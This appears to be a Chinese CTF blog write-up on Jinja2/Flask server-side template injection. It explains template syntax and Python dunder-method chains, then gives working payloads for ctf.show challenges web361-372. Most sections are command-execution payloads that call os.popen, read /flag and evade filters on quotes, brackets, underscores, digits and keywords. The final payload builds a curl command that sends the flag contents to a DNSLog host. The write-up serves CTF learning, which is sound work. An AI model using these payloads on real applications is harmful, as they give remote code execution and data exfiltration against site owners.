SSTI模板注入总结(web361-372)

ssti模板注入

简介:

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

基本语法

变量块 {{}} 用于将表达式打印到模板输出

注释块 {##} 注释

控制块 {%%} 可以声明变量,也可以执行语句

行声明  ## 可以有和{%%}相同的效果

常用方法:

__class__           查看对象所在的类

__mro__             查看继承关系和调用顺序,返回元组

__base__            返回基类

__bases__           返回基类元组

__subclasses__()    返回子类列表

__init__            调用初始化函数,可以用来跳到__globals__

__globals__         返回函数所在的全局命名空间所定义的全局变量,返回字典

__builtins__        返回内建内建名称空间字典

__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里

__getattribute__()   

实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候,形如:a.xxx/a.xxx()都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')

__builtins__         

内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。

__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]

__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。

url_for:              

flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app

get_flashed_messages

flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app

lipsum               

flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

{{cycler.__init__.__globals__.os.popen('ls').read()}}

current_app          应用上下文,一个全局变量

request              

可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()

request.args.x1     get传参

request.values.x1  所有参数

request.cookies      cookies参数

request.headers      请求头参数

request.form.x1     post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

request.data    post传参 (Content-Type:a/b)

request.json  post传json  (Content-Type: application/json)

config               当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

过滤器:

int() 将值转换为int类型;

float() 将值转换为float类型;

lower() 将字符串转换为小写;

upper() 将字符串转换为大写;

title() 把值中的每个单词的首字母都转成大写;

capitalize() 把变量值的首字母转成大写,其余字母转小写;

trim() 截取字符串前面和后面的空白字符;

wordcount() 计算一个长字符串中单词的个数;

reverse() 字符串反转;

replace(value,old,new) 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False) 截取length长度的字符串;

striptags() 删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e 转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe() 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list() 将变量列成列表;

string() 将变量转换成字符串;

join() 将一个序列中的参数值拼接成字符串。示例看上面payload;

abs() 返回一个数值的绝对值;

first() 返回一个序列的第一个元素;

last() 返回一个序列的最后一个元素;

format(value,arags,*kwargs) 格式化字符串。比如:{{"%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length() 返回一个序列或者字典的长度;

sum() 返回列表内数值的和;

sort() 返回排序后的列表;

default(value,default_value,boolean=false) 如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length() 返回字符串的长度,别名是count

web361

可以直接用 lipsum 和 cycler 执行命令

lipsum: ​flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

Payload:

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}

?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

Web362

url_for: ​flask的一个方法,可以用于得到__builtins__,而且url_for.globals[‘builtins’]含有current_app

init: 调用初始化函数,可以用来跳到__globals__

Payload:

?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

Web363

过滤单双引号

利用上传别的参数绕过对name的过滤。

request.args.x1 get传参

过滤单引号

Payload:

?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag

Web364

过滤单双引号和过滤了args无法使用get传参,尝试使用cookie传参

request.cookies cookies参数

Chr函数绕过

Payload:

?name={%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

Web365

过滤单双引号和中括号

payload:

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

Web366

过滤了单双引号、args、中括号[]、下划线

Payload:

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

Web367

过滤了单双引号、args、中括号[]、下划线

过滤了os,使用value绕过name过滤或者使用cookie传参。

attr用于获取对象的属性。foo|attr(“bar”)与foo类似。只是始终返回一个属性

变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。

Payload:

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

Web368

过滤{{

可以使用{%xxx%}绕过

{%xxx%}可以用来声明变量,当然也可以用于循环语句和条件语句。

Paylaod:

?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag

Web369

过滤request

Paylaod:

https://a2dc2eee-ac06-4c03-841d-6e5026d35e12.challenge.ctf.show/?name=

{% set po=dict(po=a,p=a)|join%}

{% set a=(()|select|string|list)|attr(po)(24)%}

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}

{% set chr=x.chr%}

{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

{%print(x.open(file).read())%}

Web370

过滤数字

字符替换,把数字替换成字符

Payload:

?name=

{% set c=(dict(e=a)|join|count)%}

{% set cc=(dict(ee=a)|join|count)%}

{% set ccc=(dict(eee=a)|join|count)%}

{% set cccc=(dict(eeee=a)|join|count)%}

{% set ccccccc=(dict(eeeeeee=a)|join|count)%}

{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}

{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}

{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}

{% set coun=(cc~cccc)|int%}

{% set po=dict(po=a,p=a)|join%}

{% set a=(()|select|string|list)|attr(po)(coun)%}

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}

{% set chr=x.chr%}

{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}

{%print(x.open(file).read())%}

web372

过滤count

不能出现数字

DNSLog Platform

打不开用手机热点

payload:

?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tehtve =a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}

  • 12
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值